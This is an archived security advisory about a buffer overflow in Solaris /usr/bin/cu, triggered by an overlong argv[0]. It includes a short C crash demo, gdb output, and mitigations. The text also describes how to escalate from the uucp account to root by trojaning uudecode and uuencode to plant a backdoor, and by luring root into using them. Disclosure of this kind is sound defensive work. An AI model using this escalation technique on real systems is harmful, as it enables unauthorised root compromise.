Vulnerability
/usr/bin/cu
Affected
Solaris 2.4, 2.5, 2.5.1, 2.6, 2.7
Description
Pablo Sor found following. The /usr/bin/cu command contains a
buffer overflow, the problem occurs when it copy his own name
(argv[0]) to an internal variable without checking out its lenght
and this causes the overflow.
Technical description:
#include <stdio.h>
void main(int argc,char **argv)
{
char *buf;
buf = (char *) malloc(atoi(argv[1])*sizeof(char));
memset(buf,0x41,atoi(argv[1])-1);
buf[atoi(argv[1])-1]=0;
execl("/usr/bin/cu",buf,(char *)0);
}
-----------
$ uname -a
SunOS tomy 5.5.1 Generic_103640-34 sun4m sparc SUNW,SPARCstation-5
$ ./cu-demo 4000
Segmentation Fault (core dumped)
$ gdb ./cu-demo --core=core
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "sparc-sun-solaris2.5.1"...
warning: core file may not match specified executable file.
Core was generated by
`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation Fault.
#0 0xef62901c in ?? ()
(gdb) info registers
g0 0x0 0
g1 0xef628d24 -278754012
g2 0x0 0
g3 0x0 0
g4 0x0 0
g5 0x0 0
g6 0x0 0
g7 0x0 0
o0 0x137a4 79780
o1 0xef792a88 -277271928
o2 0x0 0
o3 0x0 0
o4 0x0 0
o5 0xef792a88 -277271928
sp 0xefffecb0 -268440400
o7 0x31b48 203592
l0 0x7efefeff 2130640639
l1 0x81010100 -2130640640
l2 0xff000000 -16777216
l3 0xff0000 16711680
l4 0xff00 65280
l5 0x81010100 -2130640640
l6 0x7 7
l7 0xef7927d4 -277272620
i0 0x39000 233472
i1 0xeffffec4 -268435772
i2 0x38088 229512
i3 0x41414141 1094795585
i4 0x2f 47
i5 0x0 0
fp 0xefffecf0 -268440336
i7 0x137a4 79780
y 0x0 0
psr 0x4400086 71303302
wim 0x0 0
tbr 0x0 0
pc 0xef62901c -278753252
npc 0xef628ffc -278753284
fpsr 0x0 0
cpsr 0x0 0
People were able to reproduce the segmentation fault on Solaris
8 x86 and Sparc. The source of /usr/bin/cu shows that argv[0] is
simply strcpy()'ed to a buffer that is only 15 bytes long. Using
strncpy() might be a solution.
The strange thing is that all other programs that are part of the
uucp package copy a constant program name into the buffer and
don't use argv[0] at all (bnuconvert, ct, dial, uucheck, uucico,
uucleanup, uucp, uushched, uustat, uux and uuxqt).
Cu from both HDB (most commercial Unix) and AT&T BNU (ancient pre
SVr3.2) had a provision where it could be linked to a system name.
Executing "foo" would then act the same as the command "cu foo".
You could then keep a directory of them like /usr/cu/{systems}.
That also explains the size of that buffer... That was the
maximum length allowed for a uucp system name.
Taylor UUCP (Freeware / Opensource) doesn't appear to have that
facility at all. Since that was a documented "feature" of cu in
the olden days, maybe the lack of that feature is a bug in Taylor
uucp.
If it's present in the Solaris cu, we would be very much surprised
if it wasn't in the majority of HDB uucp cu implimentations. It's
not present in Taylor uucp cu.
Attacker gains access to all the uucp control files which can
contain account names and passwords on other systems (on
Solaris8). It ain't root, but it's more than what he should have.
If we look at the output of find / -user uucp -xdev -ls on a
freshly installed and patched solaris7, this seems enough for us
to r00t the box.
# find / -user uucp -xdev -ls
188616 55 -rws--x--x 1 uucp bin 56240 Jan 9 06:39 /usr/bin/tip
188741 8 -r-xr-xr-x 1 uucp uucp 8188 Sep 1 1998 /usr/bin/uudecode
188742 8 -r-xr-xr-x 1 uucp uucp 7224 Sep 1 1998 /usr/bin/uuencode
123841 0 -rw------- 1 uucp bin 0 Jan 17 15:54 /var/adm/aculog
300661 1 drwxr-xr-x 2 uucp uucp 512 Jan 19 08:28 /var/spool/locks
276741 0 crw------- 1 uucp uucp 29,131072 Jan 17 16:16 /devices/sbus@1f,0/zs@f,1100000:a,cu
276742 0 crw------- 1 uucp uucp 29,131073 Jan 17 16:16 /devices/sbus@1f,0/zs@f,1100000:b,cu
(the 2 devices are /dev/term/a and /dev/term/b ...)
For those who dont know what we are talking about. Elevate your
UID to uucp, then replace uudecode and uuencode with trojaned
versions that check if [E]UID is 0 and create a backdoor when
this happens. Then just wait until root processes some uuencoded
file... [one may send a uuencoded mail to root or try to get him
to use uudecode by other means to accelerate this...]
Once UUCP privilege is gained you can replace the UUCP
executables. That gives you full control over any user that
happens to execute those UUCP executables - a root-owned cron job,
a sendmail.cf mailer rule that executes as daemon, and so on.
Solution
chmod a-s /usr/bin/cu until fixed by Sun microsystems or pkgrm
SUNWbnuu SUNWbnur for all those who dont require UUCP.
In Solaris 8 Sun have changed the ownership of the binaries to
root, except those that are set-uid uucp. Uucp configuration and
tip are still uucp owned.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
